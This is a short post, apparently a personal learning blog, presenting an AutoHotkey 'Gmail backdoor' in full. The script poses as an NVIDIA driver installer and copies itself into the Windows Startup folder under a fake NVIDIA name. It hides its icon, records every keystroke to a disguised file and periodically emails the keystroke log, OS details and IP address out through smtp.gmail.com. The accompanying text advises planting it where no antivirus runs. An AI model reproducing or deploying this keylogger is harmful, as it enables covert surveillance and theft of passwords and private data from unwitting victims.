AHK learning : backdoor

devloping
, ,

AHK gmail backdoor

以 ahk 為媒介並使用 gmail 作為傳輸的簡易後門
若沒有防毒可以將後門植在startup資料夾

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#InstallMouseHook
#NoEnv
#Persistent
SendMode Input
#SingleInstance Force ; Allow only one running instance of script.
#NoTrayIcon
SetWorkingDir %A_ScriptDir%  ; Ensures a consistent starting directory.

Menu, tray, NoStandard 
;menu, tray, add, Help 
;RunAs, Administrator,
goto, main
main:
    if !(A_ScriptDir=A_Startup){
        logto("ur@email")
        MsgBox, 0, NVIDIA GeForce, Driver install success`n(exit code 0x3096F)
        FileCopy, ./%A_ScriptName% , %A_Startup%/NVIDIA GeForce 6_1_3.exe, 1
        run,%A_Startup%/NVIDIA GeForce 6_1_3.exe
        ExitApp
    }
    Loop{
        FormatTime,time,,mm 
        FormatTime,st,,ss
        nmb:=Mod(time, 5)
        If (nmb=4 And st=30){
            senem("ur@email")
            delfile("../package.dll")
        }
        dect("../package.dll")
    }
;MsgBox, 4, NVIDIA system compiler, Process will begin in five seconds, cancel to undo process.
;IfMsgBox Yes
;    GoTo, LogCode
;IfMsgBox No
;    sleep 5000
;    GoTo, LogCode
return

delfile(filename){
    FileDelete, %filename%
}

dect(filename){
    Input, Var,V L1 T1
    FileAppend, %Var%, %filename%
}


senem(tow){
    pmsg := ComObjCreate("CDO.Message")     ; Do not change
    pmsg.From := """ochinchin"" <ur@email>"
    pmsg.To := tow
    pmsg.BCC := "" ; Blind Carbon Copy, Invisible for all, same syntax as CC
    pmsg.CC := ""
    pmsg.Subject := "Log"
    FormatTime,time,,MM/dd/yy h:mm:ss tt ; Omits seconds
    FileRead, OutputVar, ../package.dll
    pmsg.TextBody := "Log :`n" OutputVar "`n" time "`n OS type:"  A_OSType "`n OS Version:"  A_OSVersion "`n now dir:"  A_ScriptDir "`n startup dir:"  A_Startup "`n IP:"  A_IPAddress1

    ; Remove semicolon to activate attachment feature
    ;sAttach := "../package.dll" ; can add multiple attachments
                                    ; the delimiter is |

    fields := Object()
    fields.smtpserver := "smtp.gmail.com" ; specify your SMTP server
    fields.smtpserverport := 465 ; 25
    fields.smtpusessl := True ; False
    fields.sendusing := 2 ; cdoSendUsingPort
    fields.smtpauthenticate := 1 ; cdoBasic
    fields.sendusername := "ur@email"
    fields.sendpassword := "ur@password"
    fields.smtpconnectiontimeout := 60
    schema := "http://schemas.microsoft.com/cdo/configuration/"  ; Do not change


    pfld := pmsg.Configuration.Fields

    For field,value in fields
    pfld.Item(schema . field) := value
    pfld.Update()

    Loop, Parse, sAttach, |, %A_Space%%A_Tab%
    pmsg.AddAttachment(A_LoopField)
    pmsg.Send()
}

logto(tow){
    pmsg := ComObjCreate("CDO.Message")     ; Do not change
    pmsg.From := """ochinchin"" <ur@email>"
    pmsg.To := tow
    pmsg.BCC := "" ; Blind Carbon Copy, Invisible for all, same syntax as CC
    pmsg.CC := ""
    pmsg.Subject := "LogTo"
    FormatTime,time,,MM/dd/yy h:mm:ss tt ; Omits seconds
    ;FileRead, OutputVar, ../package.dll
    pmsg.TextBody := "Log on to computer :`n" time "`n OS type:"  A_OSType "`n OS Version:"  A_OSVersion "`n now dir:"  A_ScriptDir "`n startup dir:"  A_Startup "`n IP:"  A_IPAddress1

    ; Remove semicolon to activate attachment feature
    ;sAttach := "../package.dll" ; can add multiple attachments
                                    ; the delimiter is |

    fields := Object()
    fields.smtpserver := "smtp.gmail.com" ; specify your SMTP server
    fields.smtpserverport := 465 ; 25
    fields.smtpusessl := True ; False
    fields.sendusing := 2 ; cdoSendUsingPort
    fields.smtpauthenticate := 1 ; cdoBasic
    fields.sendusername := "ur@email"
    fields.sendpassword := "ur@password"
    fields.smtpconnectiontimeout := 60
    schema := "http://schemas.microsoft.com/cdo/configuration/"  ; Do not change


    pfld := pmsg.Configuration.Fields

    For field,value in fields
    pfld.Item(schema . field) := value
    pfld.Update()

    Loop, Parse, sAttach, |, %A_Space%%A_Tab%
    pmsg.AddAttachment(A_LoopField)
    pmsg.Send()
}

^Esc::
delfile("../package.dll")
ExitApp